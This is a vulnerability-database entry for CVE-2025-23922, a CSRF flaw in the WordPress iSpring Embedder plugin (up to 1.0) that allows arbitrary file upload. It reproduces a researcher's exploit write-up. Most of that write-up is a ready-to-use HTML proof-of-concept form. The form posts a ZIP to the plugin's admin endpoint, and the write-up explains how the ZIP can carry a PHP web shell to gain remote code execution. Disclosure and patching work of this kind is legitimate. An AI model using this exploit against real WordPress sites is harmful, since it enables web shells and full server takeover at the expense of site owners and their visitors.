WordPress iSpring Embedder 1.0 CSRF / Shell Upload

🗓️ 21 Mar 2025 00:00:00Reported by NxploitedType

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Critical CSRF vulnerability in WordPress iSpring Embedder allows unauthorized file uploads.

Reporter	Title	Published	Views	Family All 12
GithubExploit	Exploit for CVE-2025-23922	21 Mar 202509:50	–	githubexploit
Circl	CVE-2025-23922	16 Jan 202521:20	–	circl
CNNVD	WordPress plugin iSpring Embedder 跨站请求伪造漏洞	16 Jan 202500:00	–	cnnvd
CVE	CVE-2025-23922	16 Jan 202520:07	–	cve
Cvelist	CVE-2025-23922 WordPress iSpring Embedder plugin <= 1.0 - CSRF to Arbitrary File Upload vulnerability	16 Jan 202520:07	–	cvelist
EUVD	EUVD-2025-3537	3 Oct 202520:07	–	euvd
Kitploit	CVE-2025-23922	28 Aug 202613:40	–	kitploit
NVD	CVE-2025-23922	16 Jan 202521:15	–	nvd
Patchstack	WordPress iSpring Embedder plugin <= 1.0 - CSRF to Arbitrary File Upload vulnerability	16 Jan 202518:43	–	patchstack
RedhatCVE	CVE-2025-23922	6 Feb 202502:52	–	redhatcve

# CVE-2025-23922 - WordPress iSpring Embedder CSRF to Arbitrary File Upload
    
    ### 📌 CVE Details
    
    - **CVE ID:** CVE-2025-23922  
    - **Published:** 2025-01-16  
    - **Plugin Affected:** WordPress iSpring Embedder plugin  
    - **Versions Affected:** <= 1.0  
    - **Author of Plugin:** Harsh  
    - **Vulnerability Type:** Cross-Site Request Forgery (CSRF) → Arbitrary File Upload  
    - **CWE ID:** [CWE-352: Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)  
    - **CVSS Score:** 10.0 (Critical)  
    - **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`  
    
    ---
    
    ### 🔥 Description
    
    A **CSRF vulnerability** in the **iSpring Embedder WordPress plugin** allows an unauthenticated remote attacker to **trick an authenticated administrator** into uploading arbitrary files (such as a PHP web shell) to the server.  
    
    The vulnerable endpoint does not implement any CSRF protection, and the file upload feature accepts `.zip` files, which are extracted to the following location:
    
    ```
    /wp-content/uploads/iSpring_embedder/
    ```
    
    ---
    
    ### 💡 Impact
    
    An attacker can:
    
    - Trigger file uploads without authentication.
    - Gain remote code execution (RCE) by uploading a malicious PHP file inside a ZIP archive.
    - Compromise the entire web server by chaining this with a crafted web shell.
    
    ---
    
    ### 🚀 Proof-of-Concept (PoC) Exploit (HTML)
    
    ```html
    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>CSRF File Upload Exploit</title>
      <style>
        body {
          font-family: Arial, sans-serif;
          background-color: #f4f4f4;
          padding: 20px;
        }
        .container {
          background: #fff;
          padding: 25px;
          border-radius: 10px;
          box-shadow: 0 0 10px rgba(0,0,0,0.1);
          max-width: 600px;
          margin: auto;
        }
        h1 {
          color: #d9534f;
        }
        input[type="file"],
        input[type="submit"] {
          margin-top: 10px;
          padding: 10px;
          font-size: 16px;
        }
        .footer {
          margin-top: 30px;
          font-size: 14px;
          color: #777;
          text-align: center;
        }
      </style>
    </head>
    <body>
      <div class="container">
        <h1>CSRF Exploit – File Upload</h1>
    
        <p>
          This is a proof-of-concept (PoC) exploit for the following vulnerability:
        </p>
        <ul>
          <li><strong>Vulnerability:</strong> CSRF leading to Arbitrary File Upload</li>
          <li><strong>Plugin:</strong> iSpring Embedder for WordPress (<= v1.0)</li>
          <li><strong>CVE:</strong> CVE-2025-23922</li>
          <li><strong>Impact:</strong> Remote attackers can coerce an authenticated administrator to upload arbitrary files, potentially including web shells.</li>
          <li><strong>Upload Path:</strong> <code>/wp-content/uploads/iSpring_embedder/</code></li>
        </ul>
    
        <form id="csrfForm" action="http://wordpresssite/wp-admin/admin.php?page=ispring-embedder" method="POST" enctype="multipart/form-data">
          <label><strong>Select ZIP file to upload:</strong></label><br>
          <input type="file" name="zip_file" required><br>
          <input type="hidden" name="file_name" value="exploit_csrf">
          <input type="submit" name="submit_ispring_form" value="Upload File via CSRF">
        </form>
    
        <div class="footer">
          <p>
            Exploit for <strong>CSRF to Arbitrary File Upload vulnerability</strong><br>
            <strong>CVE-2025-23922</strong><br>
            Developed by <strong>Nxploit | Khaled Alenazi</strong>
          </p>
        </div>
      </div>
    </body>
    </html>
    
    ```
    
    ---
    ---
    
    ### ⚠️ Disclaimer
    
    This proof-of-concept is provided for educational and research purposes only.  
    The author is not responsible for any misuse or damage caused by this exploit.
    
    **Nxploit | Khaled Alenazi**  
    Security Researcher & Exploit Developer  
    [https://github.com/Nxploit](https://github.com/Nxploited)

21 Mar 2025 00:00Current

6.8Medium risk

Vulners AI Score6.8

CVSS 3.110

EPSS0.01074

SSVC